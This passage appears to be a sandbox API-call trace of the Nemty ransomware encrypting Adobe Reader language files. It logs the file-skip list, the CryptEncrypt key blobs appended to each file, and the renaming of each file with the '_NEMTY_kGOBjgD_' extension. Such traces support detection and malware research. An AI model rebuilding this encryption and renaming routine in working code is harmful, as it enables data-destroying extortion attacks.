nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="..") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="...") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="windows") returned -1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="$RECYCLE.BIN") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="rsa") returned -1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="NTDETECT.COM") returned -1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="ntldr") returned -1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="MSDOS.SYS") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="IO.SYS") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="boot.ini") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="boot.ini") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="ntuser.dat") returned -1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="desktop.ini") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="CONFIG.SYS") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="RECYCLER") returned -1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="BOOTSECT.BAK") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="bootmgr") returned 1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="programdata") returned -1 [0170.289] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="appdata") returned 1 [0170.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0170.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0170.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0170.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0170.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.290] Sleep (dwMilliseconds=0x5) [0170.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1927c790, dwHighDateTime=0x1d561e8)) [0170.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1927c790, dwHighDateTime=0x1d561e8)) [0170.303] GetLastError () returned 0x0 [0170.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.303] GetLastError () returned 0x0 [0170.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.303] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.303] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.303] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.303] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="gHzHveDE9c+zyxbu+Ebeq74aZq0jW7e8o4/ueYZD95S14WffaZdFz5aueDNHAiri\r\nKGC/umdvLtsroIqXjGZQn2KZ4oXdac3KvgXy9EwriUTfkJZtKvmMYc42GkMi0rcs\r\n0GD/1hqDu7gBi5MASn/Xl7y260SWOr3d5/rz2QBeGpw3c92kHqIwg5EQ3SPL7NIL\r\ndr3WGBqUK07VjQfgCgrJZl30yPWDa83o7VTTKIZHSjpMrPgqmUFbGz4aT246Umzu\r\naT7PHUWnresBxFULDrdptjjOjLeTcSEFQvZH1Or/ZiUCwzCOeoRpy4McoI5pXk+E\r\nRjaDTYWRRp4oy+nmc8tccQ==\r\n", pcchString=0x653e91c) returned 1 [0170.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.304] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.305] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.305] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.307] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.307] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.307] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.307] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.307] CloseHandle (hObject=0x254) returned 1 [0170.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.307] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.chs._nemty_kgobjgd_")) returned 1 [0170.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.317] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="..") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="...") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="windows") returned -1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="$RECYCLE.BIN") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="rsa") returned -1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="NTDETECT.COM") returned -1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="ntldr") returned -1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="MSDOS.SYS") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="IO.SYS") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="boot.ini") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="boot.ini") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="ntuser.dat") returned -1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="desktop.ini") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="CONFIG.SYS") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="RECYCLER") returned -1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="BOOTSECT.BAK") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="bootmgr") returned 1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="programdata") returned -1 [0170.317] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="appdata") returned 1 [0170.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0170.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0170.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0170.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0170.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.318] Sleep (dwMilliseconds=0x5) [0170.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x192a28f0, dwHighDateTime=0x1d561e8)) [0170.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x192a28f0, dwHighDateTime=0x1d561e8)) [0170.318] GetLastError () returned 0x0 [0170.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.319] GetLastError () returned 0x0 [0170.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.319] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.319] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.319] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.319] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="NRJPVnAvtDnTybK3nlLofHyDr32xzEl5SVWaFyhasGM6/WCvYIc5cROu98+meI+2\r\nI7UBn3lCa27aVRUlZ9TYkd9F6/GXPifWx2CrI+V+8FoiGLiy4wSF6kKsFirtMHwZ\r\nMRyRwVlrdIy99m0xdzvZKB/PTfeFxoHaQor6ClX3R/sdEh56uZjMjAB/8SaGCHtk\r\n7Y9UTvKiBpy7F6c5Pv84UypIvOyLcl7o68trIBAE/nLVOEJcw9nRMMd7utd0eD3Y\r\nFw+Dj9i+sMo7/Adk0cHJfSX7UVVlpzQ3BaqhvpF4noCh3cnRcXvCqDQnW88VUk0U\r\nL3yLZAXHKhagDrMU7dA+VA==\r\n", pcchString=0x653e91c) returned 1 [0170.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.319] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.319] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.320] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.321] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.321] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.322] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.322] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.322] CloseHandle (hObject=0x254) returned 1 [0170.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.322] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cht._nemty_kgobjgd_")) returned 1 [0170.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 